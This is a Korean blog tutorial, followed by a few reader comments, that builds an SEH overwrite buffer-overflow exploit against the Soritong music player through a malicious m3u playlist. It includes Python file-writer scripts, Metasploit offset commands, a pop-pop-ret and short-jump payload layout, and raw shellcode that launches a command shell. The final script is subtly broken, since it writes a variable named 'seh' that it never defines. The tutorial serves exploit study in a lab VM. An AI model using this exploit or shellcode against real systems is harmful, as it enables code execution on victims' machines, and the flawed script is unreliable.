앞서 글(http://hyunmini.tistory.com/11) 에서 익힌 seh 취약점이 실제 어플리케이션 상에서 어떻게 이용될 수 있는지


확인해 보겠습니다. 해당 글에 사용된 프로그램은 soritong 플레이어라는 오래된 뮤직 플레이어 프로그램 입니다. 다


양한 부분에 BOF 취약점이 존재하며, 이 글에서는 재생목록파일(m3u)을 로딩할 때 lstrcpy 를 이용함으로 인해 발생


하는 취약점을 이용하겠습니다.




# 테스트 환경

   - 한글 Windows SP3 / VMware




# 취약한 "소리통 플레이어1.0" 프로그램


위와 같이 m3u 파일 ( 플레이리스트 ) 을 읽어올 때 BOF  취약점이 존재한다. 확인을 위해 악성 파일을 만들어 보자.



# malfile.py

=============================================================================================
import sys

import struct

a = "A"*5000

f = open('t1.m3u','w')

f.write(a)

f.close()


이제 이 파일을 드래그 하거나 오픈 메뉴를 이용해 열어 보면, 오류가 발생하면서 프로그램이 종료 된다.





View -> SEH 메뉴를 통해 SEH 핸들러와 prev handler 포인터가 덮어씌워 졌음을 알 수 있다. 이제 이전 글에서 공부


했던 개념을 그대로 적용하여 exploit 을 작성하면 된다. 



1) crash 확인

2) exploitable 한지 확인 ( eip / seh 등이 조작 가능한지 )

3) offset 확인

4) exploit 작성



1,2 는 이미 확인을 했고, offset 을 확인하기 위해서 metasploit 에서 제공하는 툴인 pattern_create.rb 를 사용한다. 


사용법은 pattern_create [number] 이며, 이 패턴과 pattern_offset.rb 을 이용해서 offset을 확인 할 수 있다.

( 이런 부분을 명령어로 간단히 해결 해주는 확장 모듈들이 있습니다. 나중에 천천히.. )



/opt/framework/msf3/tools# ./pattern_create.rb 5000

"Aa0Aa1......"   // 복사해서 사용


# malfile.py

=============================================================================================

import sys

import struct

t = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8....(생략)..."

f = open('t1.m3u','w')

f.write(t)

f.close() 



이제 프로그램을 다시 실행시키고 이 패턴이 입력된 m3u 파일을 로딩해보자. 아래와 같이 특정 값에서 EIP 가 변경됨


을 알 수 있다. 주의할 점은 SEH chain 을 보면 알 수 있듯이 EIP 는 SE Handler 가 덮어씌워져서 변경된 것이라는 것


이다.





/opt/framework/msf3/tools# ./pattern_offset.rb 41386941 5000

264


이때 오프셋 계산은 264-4 = 260 을 junk 로 계산하면 된다.





# SEH Overflow 에서의 Payload 구성



[          junk          ][     nseh   ][      seh      ][ nop ][  shellcode ] 


[AAAAAAAA..........][ short jmp ][pop pop ret][ 0x90][ \x58\xeb..]

                                      (2)             (1)           (3)         (4)



(1)  이전 글에서 확인했듯이 nseh 의 주소가 들어있는 스택주소를 이용하면 된다. 이해가 안가면 

      (http://hyunmini.tistory.com/11) 를 다시 확인해 보자.


(2) (1) 에서의 pop pop ret ( 기타 점프, call 등의 명령어도 가능하다. 핸들러가 실행될 당시의 스택에서 nseh 주소가 

      저장된 스택주소로 돌아가기만 하면 된다. ) 가 실행되어 nseh 로 돌아오게 되면, 입력된 쉘코드 부분으로 건너뛰

      기 위해 short jmp 명령을 이용한다.  ( \xeb\x10 , \xeb\x20 등 ) 


(3) nop 를 지나 (4) 쉘코드가 실행되고 원하는 명령이 실행되게 된다.




# windbg 를 이용하여 코드 조각 찾기






aslr 이 적용되지 않은 xp 이므로 아무 모듈에서나 사용하면 된다.




# exploit


import sys

import struct


nseh = "\xeb\x10\x90\x90"    // (2) short jmp

eip = struct.pack('<I', 0x1001e0c7)  // (1) pop pop ret

nop = "\x90"*20   // (3) nop sled

shellcode="\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45" 

shellcode+="\xfe\x64\x6a\x05\x8d\x45\xfc\x50\xb8\xad\x23\x86\x7c\xff\xd0" // (4)shellcode

f = open('t1.m3u','w')

f.write("\x90"*260 + nseh + seh + nop + shellcode + nop*200)

f.close()



자 이제 생성된 파일을 실행해서 exploit 이 동작하는지 확인해 보자.


실행 한 뒤에 먼저 pop pop ret 코드를 찾았던 주소에 브레이크 포인트를 걸고 따라가보자.



정상적으로 offset 을 계산하고 exploit 을 제작했으면 아래와 같이 입력한 주소에서 멈췄을 것이다. 






한땀한땀 F8 을 누르면서 차분히 쫓아가보자. ret 까지 실행하고 나면 아래와 같이 미리 입력했던 jmp 로 돌아가게 될 


것이다.( nSEH ) 이제 점프를 해서 쉘코드를 향해 달려보자.




점프를 하고 조금 nop 썰매를 타고 달리다 보면 쉘코드가 보인다.




쉘코드를 마저 실행하고 나면 아래와 같이 쉘이 뜨는 것을 확인할 수 있다. ^^




수고하셨습니다. @_@





















 





  1. 0000 2012.11.20 19:44

    Nseh pop pop ret은 왜해주는건가요?

    • 지나가던사람 2013.12.29 14:15

      실행되고있던 함수들을 끝내서 오류를 없애기 위함이 아닐까요?

    • BlogIcon 사피라스 2015.07.22 20:25

      엄청 오래되긴 했지만....
      처음에 eip가 실행되서 pop pop ret 을 실행하면 Nseh 인 Short jmp가 실행되면서 nop 코드 쪽으로가서 Shell 이 실행되는 원리일것 같네요!!

+ Recent posts